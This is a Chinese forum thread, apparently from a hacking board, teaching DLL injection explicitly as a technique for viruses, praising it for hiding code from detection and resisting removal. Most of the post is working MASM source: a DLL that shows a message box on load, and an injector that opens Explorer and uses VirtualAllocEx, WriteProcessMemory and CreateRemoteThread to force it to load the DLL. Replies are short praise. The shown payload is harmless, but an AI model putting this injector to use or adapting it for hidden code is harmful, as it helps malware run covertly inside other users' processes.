打印

[原创] DLL注入技术揭秘

DLL注入技术揭秘

讲讲病毒中要用到的DLL注入,这里的注入不是脚本注入。而是把一个DLL注入到目标程序中去

首先dll注入有很多好处
1.可以没有进程的执行程序,当然这里是没有新建进程。目标进程还是存在的,也就不容易被发现
2.就算被发现了,一般人不借助工具也不好清除

我们来讲将原理,其实DLL也是PE文件,只是它为别人提供服务,让他人调用。其实一个程序在加载DLL的时候,会向DLL中传递参数_hInstance,_dwReason,_dwReserved,其中当_dwReason为DLL_PROCESS_ATTACH的时候,表示被加载,可以在这里完成我们想干的事情,这里掩饰弹出一个对话框

好了,讲下要用到的几个函数

OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

这几个函数的具体说明可以去查MSDN,
简单介绍下
这个 OpenProcess 函数打开一个已存在的进程对象,这样你才可以操作这个进程的资源,
HANDLE OpenProcess(
  DWORD dwDesiredAccess,  // access flag
  BOOL bInheritHandle,    // handle inheritance option
  DWORD dwProcessId       // process identifier
);
其中第一个参数很重要,要指定PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE才可以
PROCESS_CREATE_THREAD,是说明可以创建线程,才可以运行我们要才DLL,PROCESS_VM_OPERATION才可以申请内存来放我们的程序,PROCESS_VM_WRITE可以写代码到目标程序

好了,我们现在来写个DLL,用来注入
复制内容到剪贴板
代码:

  .386
  .model flat, stdcall
  option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib
.const
szText  db 'www.exectelv.cn/pjblog',0
szCaption db 'My Blgo',0
.code
DllEn proc _hInstance,_dwReason,_dwReserved

.if _dwReason==DLL_PROCESS_ATTACH  ;表示DLL加载,也就是调用LOADLIBRARY时候,这里显示一个对话框
  invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK
.endif
ret
DllEn endp
end DllEn
连接的时候要注意,用命令Link  /subsystem:windows /Dll DLL.obj

好了现在写注入程序,我们的目标是Explorer

先用openProcess来打开进程,但是这个函数要进程的PID,有连个方法来得到进程PID
一个是用CreateToolhelp32Snapshot()、Process32First()和 Process32Next()这几个函数来枚举进程
二是用Findwindow来指定类名,在用GetWindowThreadProcessId,就可以得到进程的PID了

我们用第二中方法,本人太懒了,就直接找到代码改了下,加了注释,
复制内容到剪贴板
代码:


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .386
  .model flat, stdcall
  option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .data?
dwProcessID dd ?
dwThreadID dd ?
hProcess dd ?
lpLoadLibrary dd ?
lpDllName dd ?
  .const
szDesktopClass db 'Progman',0
szDllKernel db 'Kernel32.dll',0
szLoadLibrary db 'LoadLibraryA',0
szMyDll  db 'Dll.dll',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
  invoke GetModuleHandle,addr szDllKernel  
  invoke GetProcAddress,eax,offset szLoadLibrary
  mov lpLoadLibrary,eax    ;得到loadlibrary的地址(因为作为DLL,所以函数的地址都一样),因为这个函数在kernel32中,所以要先得到kernel32的地址
  invoke FindWindow,addr szDesktopClass,NULL
  invoke GetWindowThreadProcessId,eax,offset dwProcessID  ;得到进程的PID,并且存在dwProcessID中
  mov dwThreadID,eax
  invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \
   PROCESS_VM_WRITE,FALSE,dwProcessID   ;打开目标进程
  .if eax
   mov hProcess,eax
   invoke VirtualAllocEx,hProcess,NULL,MAX_PATH,MEM_COMMIT,PAGE_READWRITE
   .if eax
    mov lpDllName,eax  ;在目标进程申请内存,将地址存在lpDllName中
    invoke WriteProcessMemory,hProcess,\
     eax,offset szMyDll,MAX_PATH,NULL ;将DLL的名字写进目标进程,
    invoke CreateRemoteThread,hProcess,NULL,0,lpLoadLibrary,\
     lpDllName,0,NULL  ;在目标进程创建线程,执行loadlibrary加载DLL
    invoke CloseHandle,eax
   .endif
   invoke CloseHandle,hProcess
  .endif
  invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  end start
我们编译,连接看看,再执行

弹出了:

在用冰刃看看EXPLORER的DLL情况



看到了吧,DLL加载了

好了就到这,觉的好的顶起来

TOP

不懂,先学学!
看的眼睛都花了 结果怎么提示我错误。。。

TOP

好东西就是要顶的
坚持
好好学习 天天向上
顶啊…… 研究下……

TOP

Processed in 0.044352 second(s), 6 queries, Gzip enabled